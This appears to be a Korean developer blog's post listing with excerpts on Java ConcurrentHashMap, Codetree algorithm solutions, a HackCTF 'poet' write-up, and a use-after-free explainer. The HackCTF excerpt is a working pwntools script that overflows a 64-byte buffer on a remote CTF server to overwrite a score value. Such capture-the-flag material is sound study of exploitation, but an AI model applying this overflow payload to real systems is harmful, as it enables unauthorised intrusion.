[Java] Map의 computeIfAbsent()과 computeIfPresent() 메서드
·
Java & Spring
1️⃣ 들어가며ConcurrentHashMap을 사용할 때 get과 put만 쓰고 있다면?실제로는 더 안전하고 효율적인 방법이 있다: 바로 computeIfAbsent, computeIfPresent이 글에서는 이 메서드들이 왜 동시성 환경에서 필수적인지 설명한다📌 미리 읽으면 이해가 편해요!아래 블로그 글에서 ConcurrentHashMap의 기본 개념과 동작 원리를 먼저 살펴보는 것을 추천합니다:https://20s-hoon.tistory.com/166 [Java] Java의 ConcurrentHashMap 정리1️⃣ ConcurrentHashMap이란?Java에서 멀티스레드 환경을 다루다 보면, 여러 스레드가 동시에 하나의 Map에 접근하는 상황이 자주 발생한다. 이때 단순히 HashMap을 사용..
[Java & Spring] HashMap vs ConcurrentHashMap, 실습으로 알아보는 차이
·
Java & Spring
1️⃣ 들어가며멀티스레드 환경에서 데이터를 안전하게 공유하기 위해 어떤 Map을 사용해야 할까?이전에 작성한 글 🔗ConcurrentHashMap 정리을 먼저 읽어보면,ConcurrentHashMap이 어떤 자료구조이고 왜 필요한지를 이론적으로 이해하는 데 도움이 된다. 이번 글에서는 그 내용을 실습을 통해 직접 확인해보려 한다.같은 코드, 같은 로직에서 Map만 HashMap으로 바꿨을 때 무슨 일이 벌어지는지 테스트를 통해 명확하게 보여줄 것이다.🧩 실습 목표ConcurrentHashMap을 사용한 경우와HashMap을 사용한 경우를 비교하여멀티스레드 환경에서 어떤 문제가 발생하는지를 실질적으로 검증한다단순히 "thread-safe하지 않다"는 말로는 와닿지 않는 부분을, 100개의 쓰레드가 동시..
[Java] Java의 ConcurrentHashMap 정리
·
Java & Spring
1️⃣ ConcurrentHashMap이란?Java에서 멀티스레드 환경을 다루다 보면, 여러 스레드가 동시에 하나의 Map에 접근하는 상황이 자주 발생한다. 이때 단순히 HashMap을 사용할 경우, 데이터 충돌이나 예기치 못한 동작이 발생할 수 있다. 그 이유는 HashMap이 기본적으로 thread-safe 하지 않기 때문이다. 이 문제를 해결하기 위해 등장한 것이 ConcurrentHashMap이다. ConcurrentHashMap은 java.util.concurrent 패키지에 포함되어 있으며, 멀티스레드 환경에서 안전하게 데이터를 읽고 쓸 수 있도록 설계된 Map 구현체이다. 기존의 Hashtable보다 더 효율적이고, Collections.synchronizedMap보다 세밀한 동기화를 제공한..
[코드트리 조별과제] 계단 오르기 2
·
Algorithm
계단 오르기 2: 최대 동전 획득하기문제 링크 : https://www.codetree.ai/missions/2/problems/climbing-stairs-2/description계단을 오르면서 얻을 수 있는 동전의 최대 개수를 구하는 문제를 해결해보겠습니다. 이 문제는 다이나믹 프로그래밍(Dynamic Programming) 기법을 사용하여 해결할 수 있습니다.문제 설명남우는 n층 높이의 계단을 오르려고 합니다. 남우가 계단을 오르는 방식에는 몇 가지 제한이 있습니다:한 번에 1계단 혹은 2계단을 올라갈 수 있습니다.남우는 1계단 오르는 것을 좋아하지 않아서, 최대 3번까지만 1계단 오르는 행동을 할 수 있습니다.남우가 각 층을 밟을 때마다 해당 층에 있는 동전을 획득할 수 있습니다.계단의 마지막 층..
[코드트리] 싸움땅 python 문제풀이 (2022 삼성전자 하반기 오전 1번문제)
·
Algorithm
https://www.codetree.ai/training-field/frequent-problems/problems/battle-ground/description?page=3&pageSize=20%2F3340%2F3340 코드트리 | 코딩테스트 준비를 위한 알고리즘 정석 최고의 알고리즘 전문가들이 체계적인 코딩테스트 문제 유형 분류와 학습 커리큘럼을 제시합니다. 알고리즘 학습의 A to Z를 경험해보세요! www.codetree.ai 삼성의 대표적인 시뮬레이션 문제이다. 실수없이 주어진 요구사항에 맞추어 구현하면 되는 문제이다. 해당문제는 총의 정보를 계속해서 업데이트 해야하고, 각 칸마다 총이 여러개가 들어갈 수 있으므로 3차원 배열을 사용하여야 문제를 쉽게 풀수있다. 자세한 코드는 주석참고 n, m..
[코드트리] 포탑 부수기 python 문제풀이 (2023 삼성전자 오전 1번문제)
·
Algorithm
2023 삼성 코테를 보고와서 복기겸 다시 한번 풀어보았다. 문제는 코드트리에서 확인 가능하다. https://www.codetree.ai/training-field/frequent-problems/problems/destroy-the-turret/description?page=3&pageSize=20 코드트리 | 코딩테스트 준비를 위한 알고리즘 정석 최고의 알고리즘 전문가들이 체계적인 코딩테스트 문제 유형 분류와 학습 커리큘럼을 제시합니다. 알고리즘 학습의 A to Z를 경험해보세요! www.codetree.ai 해당 문제에서 주의해서 풀어야 하는점은 다음과 같다. 1. 공격자 포탑과 타겟 포탑을 선정하는 과정 해결방법 : sort를 이용하여 해결 2. 레이저 공격 과정 이부분이 시험장에서 조금 말썽을..
[HackCTF] poet 풀이
·
Write-Up/HackCTF
from pwn import * p = remote('ctf.j0n9hyun.xyz', 3012) p.recvuntil('> ') payload = "hoon" p.sendline(payload) p.recvuntil('> ') payload2 = b"A"*64 payload2 += p64(1000000) p.sendline(payload2) p.interactive()
UAF (Use After Free)
·
System Hacking
Heap영역은 동적으로 메모리가 할당되고 해제된다. 할당될 때는 malloc, calloc, realloc등이 사용된다. 해제할때는 free함수를 사용해서 할당한 부분을 해제해준다. UAF(Use After Free)는 메모리 영역을 할당하고 해제한 후에 재사용할 경우 발생하는 취약점이다. 코드를 보면 좀더 쉽게 이해가 가능하다. #include #include int main() { int* heap1; int* heap2; int* heap3; heap1 = (int*)malloc(sizeof(int) * 40); heap2 = (int*)malloc(sizeof(int) * 40); printf("heap1 address : %p\n", heap1); printf("heap2 address : %p..